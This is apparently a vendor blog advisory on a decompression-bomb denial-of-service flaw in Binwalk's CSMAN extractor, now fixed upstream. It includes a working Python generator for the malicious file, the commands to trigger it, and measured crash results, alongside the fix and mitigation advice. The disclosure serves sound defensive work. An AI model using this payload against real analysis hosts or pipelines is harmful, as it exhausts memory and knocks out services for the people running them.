Back to Blog

Security Advisory: CSMAN Decompression Bomb in Binwalk Leads to Memory-Exhaustion DoS

BackBox AI found that a small crafted file could exhaust available memory during an ordinary Binwalk scan, with no extraction flag required. The Binwalk maintainer confirmed the issue and fixed it by capping decompression at 100 MB.

Security Advisory: CSMAN Decompression Bomb in Binwalk

This advisory comes out of our open source partnership program. The target is Binwalk, the firmware analysis tool that almost every hardware and IoT researcher has in their toolbox. BackBox AI identified an uncontrolled memory allocation in the CSMAN extractor that allows a tiny crafted input file to trigger a memory-exhaustion denial of service, and it does so during a plain scan, before any extraction is requested.

The finding was reported through responsible disclosure. The maintainer confirmed it and shipped a fix.

Advisory Summary

Field Detail
Project Binwalk (Rust rewrite)
Affected v3.1.1 and later (CSMAN signature was introduced in v3.1.1)
Not affected v3.1.0 and earlier (no CSMAN signature)
Component src/signatures/csman.rs, src/extractors/csman.rs
Class Uncontrolled memory allocation, decompression bomb
CWE CWE-409, CWE-789 (Uncontrolled Resource Consumption)
CVSS 3.1 Not formally assigned; assessed High (local, availability impact)
Severity High
Advisory ID BBL-2026-06041 (internal tracking; no CVE assigned)
Status Fixed upstream in commit 7042869 (2026-06-17)

The Vulnerability

Binwalk's scan phase does more than pattern-match. For the CSMAN signature, the parser in signatures/csman.rs invokes the extractor as a dry run:

extract_csman_dat(file_data, offset, None)

That call happens during the scan, which is the important part: the user does not need to pass -e, and no files are written to disk. Inside the extractor (extractors/csman.rs), the compressed payload is inflated with miniz_oxide:

// Before the fix: no ceiling on the output size
inflate::decompress_to_vec(compressed_data)

decompress_to_vec() allocates the entire decompressed output as a single contiguous Vec in memory. The decompressed_size field is read from the untrusted file header without any upper-bound validation, and the extractor performs an unbounded decompression regardless. Crucially, CSMAN entry parsing only happens after decompression, so even a payload that is complete garbage still forces the full allocation first.

This is a different design from Binwalk's gzip extractor, which streams through an 8 KB buffer and never has to hold the whole output in memory at once. The CSMAN path had no such guard.

Reproduction

The proof of concept builds a valid-looking CSMAN header in front of a highly compressible zlib stream (a run of zero bytes), so a small file expands to an enormous decompressed size:

import zlib, struct

def create_csman_bomb(decompressed_mb=500):
    decompressed = b'\x00' * (decompressed_mb * 1024 * 1024)
    compressed = zlib.compress(decompressed, 9)
    header  = b'CS'
    header += struct.pack('<H', 0)
    header += struct.pack('<I', len(compressed))
    header += struct.pack('<I', 0)
    header += struct.pack('<I', len(decompressed))
    return header + compressed

Triggering it needs nothing more than a normal scan:

python3 exploit_csman_dos.py 3000       # ~3 MB file, claims 3 GB decompressed
binwalk csman_mem_bomb.bin              # no -e flag needed

Measured behavior on Binwalk v3.1.1 tracked the requested size almost linearly:

Claimed size Input file Result
100 MB ~100 KB 16 s scan, 249 MB RAM spike
500 MB ~500 KB 1m20s scan
1.5 GB ~1.5 MB 2m37s scan, ~1.5 GB allocated
3 GB ~3 MB OOM killed after 18 s

The kernel confirmed the out-of-memory kill:

Out of memory: Killed process 11302 (binwalk) total-vm:9336476kB, anon-rss:7309568kB

Impact

An attacker only needs a victim to run binwalk against a malicious file, which is the single most common thing anyone does with the tool. A crafted file well under 10 MB can consume all available RAM, crash the process, and trigger the Linux OOM killer, which may terminate the Binwalk process and, depending on system memory pressure and configuration, other processes on the same host. For a tool that is routinely fed untrusted firmware images and unknown blobs, and often run inside automated analysis pipelines, that is a meaningful denial-of-service primitive.

The Fix

We reported the issue to the maintainer, who confirmed it and addressed it in commit 7042869, "Fix csman resource exhaustion bug" on 2026-06-17. The change is exactly the bounded-decompression guard the situation calls for: a hard ceiling on the decompressed size, enforced at inflate time.

const MAX_DECOMPRESSED_SIZE: usize = 100 * 1024 * 1024; // 100 MB

// After the fix: the limit is passed to the decompressor
inflate::decompress_to_vec_with_limit(compressed_data, MAX_DECOMPRESSED_SIZE)

Files that would inflate beyond the limit now fail CSMAN extraction during signature validation without allocating excessive memory. The commit also adds a regression test with a checked-in decompression-bomb sample, which is the right way to keep a fix like this from quietly regressing.

How BackBox AI Found It

The interesting part of this bug is not the payload, it is the reachability. A decompression bomb is only dangerous if it fires without user intent, and here the trigger sits in the scan path rather than behind the -e extraction flag. BackBox AI followed the call from the CSMAN signature parser into the extractor, noticed that decompress_to_vec() commits to the full allocation before any entry validation, and contrasted it with the streaming approach used elsewhere in the codebase. Recognizing that asymmetry, that one extractor allocates eagerly while its siblings stream, is the kind of cross-referencing our platform is built to do, and it is what elevated this from theoretical to demonstrable.

Mitigation

Users running affected Binwalk versions should update to a release that includes commit 7042869. The broader lesson generalizes beyond CSMAN: any code path that decompresses attacker-controlled data should enforce an output ceiling and, where possible, stream rather than materialize the whole result. Trusting a size field from an untrusted header is the recurring anti-pattern behind decompression bombs.

Conclusion

This was a clean example of what the partnership program is meant to produce: a real, reproducible flaw, a responsive maintainer, and a fix landed upstream where every user benefits. Our thanks to the Binwalk team for the quick turnaround.

If you maintain an open source project and think an extra set of eyes would help, apply to partner with us.